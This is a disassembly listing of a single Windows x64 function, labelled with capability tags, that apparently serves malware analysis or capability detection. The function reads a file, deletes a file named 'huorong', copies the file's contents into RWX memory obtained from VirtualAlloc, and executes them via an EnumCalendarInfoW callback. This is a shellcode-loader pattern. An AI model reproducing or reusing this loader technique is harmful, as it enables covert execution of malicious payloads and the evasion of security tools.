Function at 0x140002120
Capabilities:
Allocate or change rwx memory
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
lea rax, [0x140028600]
xor ebx, ebx
lea rcx, [rbp]
mov qword [rsp + 0x50], rax
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov dword [rsp + 0x48], ebx
mov qword [rbp], rax
mov qword [rsp + 0x58], rbx
call fcn.140001eb0
lea r11, [rsp + 0x60]
lea rcx, [rbp]
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x48], r11
call fcn.140004fc0
mov byte [rbp + 0x58], al
cmp qword [rbp + 0x48], rbx
jne 0x140002198
mov edx, dword [rbp + 0x10]
lea rcx, [rbp]
xor r8d, r8d
or edx, 4
call fcn.140001cd0
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
lea rcx, [rsp + 0x60]
call fcn.1400041a0
lea rcx, [rsp + 0x60]
call fcn.140004240
test rax, rax
jne 0x1400021ec
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov edx, dword [rsp + rcx + 0x60]
lea rcx, [rsp + rcx + 0x50]
or edx, 2
cmp qword [rcx + 0x48], rbx
jne 0x1400021e4
or edx, 4
xor r8d, r8d
call fcn.140001cd0
mov rcx, qword [rsp + 0x50]
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x14000222e
mov rcx, qword [rbp + rax - 0x68]
lea rdx, [rsp + 0x30]
mov r9d, 1
mov rax, qword [rcx]
xor r8d, r8d
mov dword [rsp + 0x20], 1
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x30]
jmp 0x140002235
mov rax, qword [0x140024480]
movsxd rdi, ebx
add rdi, rax
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x1400022a2
movsxd rax, dword [rcx + 4]
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov rcx, qword [rbp + rax - 0x68]
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov rax, qword [rcx]
call qword [rax + 0x50]
movsxd r11, dword [rsp + 0x38]
add r11, qword [rsp + 0x30]
cmp r11, qword [0x140024480]
jne 0x1400022a2
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov edx, dword [rsp + rcx + 0x60]
lea rcx, [rsp + rcx + 0x50]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x14000229a
or edx, 4
xor r8d, r8d
call fcn.140001cd0
mov rcx, rdi
call fcn.140006c78
lea rcx, [rsp + 0x50]
mov r8, rdi
mov rdx, rax
mov rsi, rax
call fcn.140002560
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x140002309
mov rcx, rsi
call fcn.140008444
lea rcx, [rsp + 0x60]
call fcn.140004330
test rax, rax
jne 0x140002309
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov edx, dword [rsp + rcx + 0x60]
lea rcx, [rsp + rcx + 0x50]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140002301
or edx, 4
xor r8d, r8d
call fcn.140001cd0
lea rcx, [rsp + 0x60]
call fcn.140004330
test rax, rax
jne 0x14000233f
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov edx, dword [rsp + rcx + 0x60]
lea rcx, [rsp + rcx + 0x50]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140002337
or edx, 4
xor r8d, r8d
call fcn.140001cd0
lea rcx, str.huorong
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rdi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.140007640
mov r9d, 0x15
or r8d, 0xffffffff
mov edx, 0x400
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
lea rcx, [rbp]
call fcn.140002c60
lea r11, vtable.std::ios_base.0
lea rcx, [rbp]
mov qword [rbp], r11
call fcn.140005cb4
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret